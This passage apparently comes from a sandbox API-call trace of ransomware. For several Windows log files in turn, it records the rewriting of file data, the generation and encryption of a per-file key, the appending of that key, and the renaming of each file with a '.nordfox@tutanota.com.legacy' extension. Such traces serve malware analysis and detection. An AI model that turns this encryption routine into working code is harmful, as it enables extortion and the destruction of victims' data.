Size=0xd0) returned 0x55ade8 [0117.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b830 | out: hHeap=0x520000) returned 1 [0117.166] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.167] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.167] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.167] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.178] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.178] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.178] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.179] WriteFile (in: hFile=0x694, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.179] WriteFile (in: hFile=0x694, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.179] CloseHandle (hObject=0x694) returned 1 [0117.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0117.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.180] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0117.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b2e0 | out: hHeap=0x520000) returned 1 [0117.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60afb0 | out: hHeap=0x520000) returned 1 [0117.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b148 [0117.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.182] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.182] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.182] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl", dwFileAttributes=0x80) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b1d0 [0117.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c150 [0117.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b1d0 | out: hHeap=0x520000) returned 1 [0117.183] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.183] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.184] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.185] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.185] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.186] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.186] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.186] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.186] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.187] WriteFile (in: hFile=0x694, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.187] CloseHandle (hObject=0x694) returned 1 [0117.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.187] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c150 | out: hHeap=0x520000) returned 1 [0117.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b148 | out: hHeap=0x520000) returned 1 [0117.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b258 | out: hHeap=0x520000) returned 1 [0117.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b588 [0117.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0117.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.189] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0117.189] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.190] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl", dwFileAttributes=0x80) returned 1 [0117.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b830 [0117.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b730 [0117.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b830 | out: hHeap=0x520000) returned 1 [0117.191] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.191] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.191] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.201] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.201] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.201] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.202] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.202] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.202] WriteFile (in: hFile=0x694, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.202] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.202] CloseHandle (hObject=0x694) returned 1 [0117.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0117.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.203] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b730 | out: hHeap=0x520000) returned 1 [0117.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b588 | out: hHeap=0x520000) returned 1 [0117.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b7a8 | out: hHeap=0x520000) returned 1 [0117.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60afb0 [0117.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0117.208] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0117.208] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0117.208] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl", dwFileAttributes=0x80) returned 1 [0117.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b0c0 | out: hHeap=0x520000) returned 1 [0117.209] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.209] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.210] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.219] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.219] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.220] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.220] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.220] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.220] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.221] WriteFile (in: hFile=0x694, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.221] WriteFile (in: hFile=0x694, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.221] CloseHandle (hObject=0x694) returned 1 [0117.221] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ae18 [0117.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0117.223] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.223] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0117.223] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl", dwFileAttributes=0x80) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ba50 [0117.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bec8 [0117.224] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.224] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.224] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.238] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.238] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.238] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.239] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.239] WriteFile (in: hFile=0x694, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.239] CloseHandle (hObject=0x694) returned 1 [0117.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0117.239] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.241] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bec8 | out: hHeap=0x520000) returned 1 [0117.241] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ae18 | out: hHeap=0x520000) returned 1 [0117.241] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60af28 | out: hHeap=0x520000) returned 1 [0117.241] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ad90 [0117.241] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0117.241] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.242] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0117.242] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.242] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl", dwFileAttributes=0x80) returned 1 [0117.242] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b258 [0117.242] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0117.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b258 | out: hHeap=0x520000) returned 1 [0117.242] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.243] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.243] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.253] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.253] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.254] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.254] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.254] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.254] WriteFile (in: hFile=0x694, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.254] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.255] CloseHandle (hObject=0x694) returned 1 [0117.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0117.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.255] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" 